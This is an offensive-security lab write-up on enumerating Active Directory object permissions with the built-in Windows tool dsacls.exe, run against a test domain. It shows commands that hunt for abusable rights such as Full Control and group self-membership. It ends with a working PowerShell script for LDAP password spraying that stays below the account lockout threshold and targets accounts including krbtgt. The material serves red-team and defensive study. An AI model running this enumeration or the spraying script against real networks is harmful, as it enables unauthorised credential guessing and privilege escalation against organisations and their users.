Enumerating AD Object Permissions with dsacls

Enumeration, living off the land
It is possible to use a native windows binary (in addition to powershell cmdlet Get-Acl) to enumerate Active Directory object security persmissions. The binary of interest is dsacls.exe.
Dsacls allows us to display or modify permissions (ACLS) of an Active Directory Domain Services (AD DS).
Execution
Let's check if user spot has any special permissions against user's spotless AD object:
attacker@victim
dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot"
Nothing useful:
Let's give user spot Reset Password and Change Password permissions on spotless AD object:
...and try the command again:
attacker@victim
dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "spot"
Full Control
All well known (and abusable) AD object permissions should be sought here. One of them is FULL CONTROL:
attacker@victim
dsacls.exe "cn=spotless,cn=users,dc=offense,dc=local" | select-string "full control"
Add/Remove self as member
attacker@victim
dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" | select-string "spotless"
WriteProperty/ChangeOwnerShip
Enumerating AD object permissions this way does not come in a nice format that can be piped between powershell cmd-lets, but it's still something to keep in mind if you do not the ability to use tools like powerview or ActiveDirectory powershell cmdlets or if you are trying to LOL.
For more good privileges to be abused:
Privileged Accounts and Token Privileges
/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
Abusing Active Directory ACLs/ACEs
/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
Password Spraying Anyone?
As a side note, the dsacls binary could be used to do LDAP password spraying as it allows us to bind to an LDAP session with a specified username and password:
incorrect logon
dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:spotless@offense.local /passwd:1234567
Logon Failure
correct logon
dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:spotless@offense.local /passwd:123456
Logon Successful
Dirty POC idea for Password Spraying:
attacker@victim
$domain = ((cmd /c set u)[-3] -split "=")[-1]
$pdc = ((nltest.exe /dcname:$domain) -split "\\\\")[1]
$lockoutBadPwdCount = ((net accounts /domain)[7] -split ":" -replace " ","")[1]
$password = "123456"
​
# (Get-Content users.txt)
"krbtgt","spotless" | % {
    $badPwdCount = Get-ADObject -SearchBase "cn=$_,cn=users,dc=$domain,dc=local" -Filter * -Properties badpwdcount -Server $pdc | Select-Object -ExpandProperty badpwdcount
    if ($badPwdCount -lt $lockoutBadPwdCount - 3) {
        $isInvalid = dsacls.exe "cn=domain admins,cn=users,dc=offense,dc=local" /user:$_@offense.local /passwd:$password | select-string -pattern "Invalid Credentials"
        if ($isInvalid -match "Invalid") {
            Write-Host "[-] Invalid Credentials for $_ : $password" -foreground red
        } else {
            Write-Host "[+] Working Credentials for $_ : $password" -foreground green
        }        
    }
}
References
https://support.microsoft.com/en-gb/help/281146/how-to-use-dsacls-exe-in-windows-server-2003-and-windows-2000
support.microsoft.com
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Active Directory Enumeration with AD Module without RSAT or Admin Privileges
Active Directory Password Spraying
Last updated 2 years ago